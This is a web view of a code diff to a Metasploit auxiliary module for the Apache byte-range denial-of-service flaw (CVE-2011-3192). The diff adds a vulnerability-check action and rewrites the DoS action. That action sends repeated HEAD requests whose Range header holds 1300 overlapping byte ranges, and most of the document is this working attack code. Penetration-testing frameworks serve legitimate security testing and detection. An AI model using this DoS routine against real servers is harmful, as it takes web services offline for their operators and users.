9
9
10
10
class Metasploit3 < Msf ::Auxiliary
11
11
12
- include Msf ::Exploit ::Remote ::Tcp
12
+ include Msf ::Exploit ::Remote ::HttpClient
13
+ include Msf ::Auxiliary ::WmapScanFile
14
+ include Msf ::Auxiliary ::Scanner
15
+ include Msf ::Auxiliary ::Report
13
16
include Msf ::Auxiliary ::Dos
14
17
15
18
def initialize ( info = { } )
@@ -24,45 +27,95 @@ def initialize(info = {})
24
27
'Author' =>
25
28
[
26
29
'Kingcope' , #original discoverer
27
- 'Masashi Fujiwara' #metasploit module
30
+ 'Masashi Fujiwara' , #metasploit module
31
+ 'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
28
32
] ,
29
33
'License' => MSF_LICENSE ,
34
+ 'Actions' =>
35
+ [
36
+ [ 'DOS' ] ,
37
+ [ 'CHECK' ]
38
+ ] ,
39
+ 'DefaultAction' => 'DOS' ,
30
40
'References' =>
31
41
[
32
42
[ 'BID' , '49303' ] ,
33
43
[ 'CVE' , '2011-3192' ] ,
34
44
[ 'EDB' , '17696' ] ,
35
45
[ 'OSVDB' , '74721' ] ,
36
46
] ,
37
- 'DisclosureDate' => 'Aug 19 2011' ) )
47
+ 'DisclosureDate' => 'Aug 19 2011'
48
+ ) )
38
49
39
50
register_options (
40
51
[
41
52
Opt ::RPORT ( 80 ) ,
42
53
OptString . new ( 'URI' , [ true , "The request URI" , '/' ] ) ,
43
- OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 50 ] )
54
+ OptInt . new ( 'RLIMIT' , [ true , "Number of requests to send" , 50 ] )
44
55
] , self . class )
45
56
end
46
57
47
- def run
58
+ def run_host ( ip )
59
+
60
+ case action . name
61
+ when 'DOS'
62
+ conduct_dos ( )
63
+
64
+ when 'CHECK'
65
+ check_for_dos ( )
66
+ end
67
+
68
+ end
69
+
70
+ def check_for_dos ( )
71
+ path = datastore [ 'URI' ]
72
+ begin
73
+ res = send_request_cgi ( {
74
+ 'uri' => path ,
75
+ 'method' => 'HEAD' ,
76
+ 'headers' => {
77
+ "HOST" => "Localhost" ,
78
+ "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
79
+ }
80
+ } )
81
+
82
+ if ( res and res . code == 206 )
83
+ print_status ( "Response was #{ res . code } " )
84
+ print_status ( "Found Byte-Range Header DOS at #{ path } " )
85
+
86
+ report_note (
87
+ :host => rhost ,
88
+ :port => rport ,
89
+ :data => "Apache Byte-Range DOS at #{ path } "
90
+ )
91
+
92
+ else
93
+ print_status ( "#{ rhost } doesn't seem to be vulnerable at #{ path } " )
94
+ end
95
+
96
+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
97
+ rescue ::Timeout ::Error , ::Errno ::EPIPE
98
+ end
99
+ end
100
+
101
+
102
+ def conduct_dos ( )
48
103
uri = datastore [ 'URI' ]
104
+ rhost = datastore [ 'RHOST' ]
49
105
ranges = ''
50
106
for i in ( 0 ..1299 ) do
51
107
ranges += ",5-" + i . to_s
52
108
end
53
109
for x in 1 ..datastore [ 'RLIMIT' ]
54
110
begin
55
- connect
56
111
print_status ( "Sending DoS packet #{ x } to #{ rhost } :#{ rport } " )
112
+ res = send_request_cgi ( {
113
+ 'uri' => uri ,
114
+ 'method' => 'HEAD' ,
115
+ 'headers' => {
116
+ "HOST" => rhost ,
117
+ "Range" => "bytes=0-#{ ranges } " } } , 1 )
57
118
58
- sploit = "HEAD " + uri + " HTTP/1.1\r \n "
59
- sploit << "Host: " + rhost + "\r \n "
60
- sploit << "Range: bytes=0-" + ranges + "\r \n "
61
- sploit << "Accept-Encoding: gzip\r \n "
62
- sploit << "Connection: close\r \n \r \n "
63
-
64
- sock . put ( sploit )
65
- disconnect
66
119
rescue ::Rex ::ConnectionRefused
67
120
print_status ( "Unable to connect to #{ rhost } :#{ rport } ." )
68
121
rescue ::Errno ::ECONNRESET
0 commit comments